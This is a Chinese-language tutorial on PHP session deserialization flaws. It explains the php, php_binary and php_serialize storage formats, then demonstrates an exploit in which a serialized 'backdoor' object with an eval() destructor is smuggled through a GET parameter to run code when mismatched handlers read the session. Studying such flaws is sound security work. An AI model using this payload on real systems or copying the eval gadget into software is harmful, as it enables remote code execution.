浅析session反序列化

参考自先知社区:带你走进PHP session反序列化漏洞

PHP中session的工作机制

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的Cookies、Get、Post中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存.

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'xxx' ;
}
?>

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。

PHP session的存取机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组
1
2
3
4
5
6
7
8
9
10
$_SESSION['name'] = "test";

php:
name|s:4:"test";

php_binary:
\x04names:4:"test";

php_serializer:
a:1:{s:4:"name";s:4:"test";}

利用演示

1.php

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = $_GET['a'];
var_dump($_SESSION);

2.php

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class backdoor{
public $name;
function __destruct()
{
eval($this->name);
}
}

首先获取序列化内容

1
O:8:"backdoor":1:{s:4:"name";s:10:"phpinfo();";}

然后访问1.php

1
1.php?a=|O:8:"backdoor":1:{s:4:"name";s:10:"phpinfo();";}

session文件中存储内容如下

1
a:1:{s:4:"name";s:49:"|O:8:"backdoor":1:{s:4:"name";s:10:"phpinfo();";}";}

可以预见到的是,在2.php中 |左侧内容会被当成键名执行,右侧内容会被当做需要序列化的内容

直接访问2.php 执行phpinfo()成功